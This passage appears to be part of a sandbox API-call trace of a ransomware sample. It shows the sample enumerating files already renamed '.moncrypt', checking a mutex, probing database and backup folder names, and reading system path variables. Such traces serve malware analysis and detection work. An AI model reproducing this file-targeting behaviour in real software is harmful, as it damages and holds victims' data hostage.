lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.082] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.082] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.082] GlobalUnlock (hMem=0x44000c) returned 0 [0049.082] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.082] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.082] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.083] GlobalUnlock (hMem=0x44000c) returned 0 [0049.083] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.083] GlobalUnlock (hMem=0x440004) returned 0 [0049.083] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.083] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5126, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0049.083] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0049.083] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.083] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.083] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.083] GlobalUnlock (hMem=0x440004) returned 0 [0049.083] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.083] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.083] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.083] GlobalUnlock (hMem=0x440004) returned 0 [0049.083] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.083] GlobalUnlock (hMem=0x44000c) returned 0 [0049.083] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.083] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x22d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML.moncrypt", cAlternateFileName="VISIOR~1.MON")) returned 1 [0049.083] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0049.083] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.083] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.083] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.083] GlobalUnlock (hMem=0x44000c) returned 0 [0049.083] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.083] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.083] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.083] GlobalUnlock (hMem=0x44000c) returned 0 [0049.083] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.083] GlobalUnlock (hMem=0x440004) returned 0 [0049.083] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.084] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x22d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML.moncrypt", cAlternateFileName="VISIOR~1.MON")) returned 0 [0049.084] GetLastError () returned 0x12 [0049.084] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0049.084] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0049.084] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0049.084] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.084] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.084] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.084] GlobalUnlock (hMem=0x440004) returned 0 [0049.084] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.084] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.084] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.084] GlobalUnlock (hMem=0x440004) returned 0 [0049.084] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.084] GlobalUnlock (hMem=0x44000c) returned 0 [0049.084] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.084] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.085] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.085] GlobalUnlock (hMem=0x44000c) returned 0 [0049.085] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.085] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.085] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.085] GlobalUnlock (hMem=0x44000c) returned 0 [0049.085] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.085] GlobalUnlock (hMem=0x440004) returned 0 [0049.085] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.085] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us", len=0x5a | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us") returned 1 [0049.085] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.085] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.085] GlobalUnlock (hMem=0x440004) returned 0 [0049.085] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.085] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.085] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.085] GlobalUnlock (hMem=0x440004) returned 0 [0049.085] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.085] GlobalUnlock (hMem=0x44000c) returned 0 [0049.085] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ca0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@孖U嬪U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0049.090] GetLastError () returned 0x3 [0049.093] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.093] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0049.097] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0049.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ca0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="奬U䱠@婴U企@\x18㿬Q\x181")) returned 0xffffffff [0049.100] GetLastError () returned 0x2 [0049.100] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.100] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0049.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0049.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ca0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="奬U䱠@∜R企@\x18?T\x18;")) returned 0xffffffff [0049.116] GetLastError () returned 0x2 [0049.118] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0049.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0049.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ca0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="奬U䱠@坜U企@\x18?T\x18D")) returned 0xffffffff [0049.120] GetLastError () returned 0x2 [0049.120] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0049.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0049.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ca0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="奬U䱠@婴U企@\x18∜R\x18j")) returned 0xffffffff [0049.121] GetLastError () returned 0x2 [0049.121] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0049.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0049.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ca0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="奬U䱠@⭌R企@\x18?T\x18q")) returned 0xffffffff [0049.121] GetLastError () returned 0x2 [0049.122] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\∘RĀ") returned 6 [0049.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0049.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ca0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="奬U䱠@ꠜR企@\x18?T\x18y")) returned 0xffffffff [0049.122] GetLastError () returned 0x2 [0049.122] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0049.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0049.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ca0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="奬U䱠@婴U企@\x18?T\x18\x81")) returned 0xffffffff [0049.123] GetLastError () returned 0x2 [0049.123] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0049.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0049.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ca0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="奬U䱠@坜U企@\x18?T\x18\x88")) returned 0xffffffff [0049.123] GetLastError () returned 0x2 [0049.123] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0049.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0049.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ca0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="奬U䱠@ꠜR企@\x18?T\x18\x8f")) returned 0xffffffff [0049.124] GetLastError () returned 0x2 [0049.124] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0049.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0049.124] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ca0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="奬U䱠@婴U企@\x18?T\x18\x97")) returned 0xffffffff [0049.124] GetLastError () returned 0x2 [0049.124] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0049.124] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.124] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.125] GlobalUnlock (hMem=0x44000c) returned 0 [0049.125] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.125] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.125] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.125] GlobalUnlock (hMem=0x44000c) returned 0 [0049.125] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.125] GlobalUnlock (hMem=0x440004) returned 0 [0049.125] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.125] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0049.125] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.125] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0049.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0049.125] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.125] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0049.126] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.126] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0049.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69cc0, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0049.126] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.126] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.126] GlobalUnlock (hMem=0x440004) returned 0 [0049.126] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.126] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.126] GlobalHandle 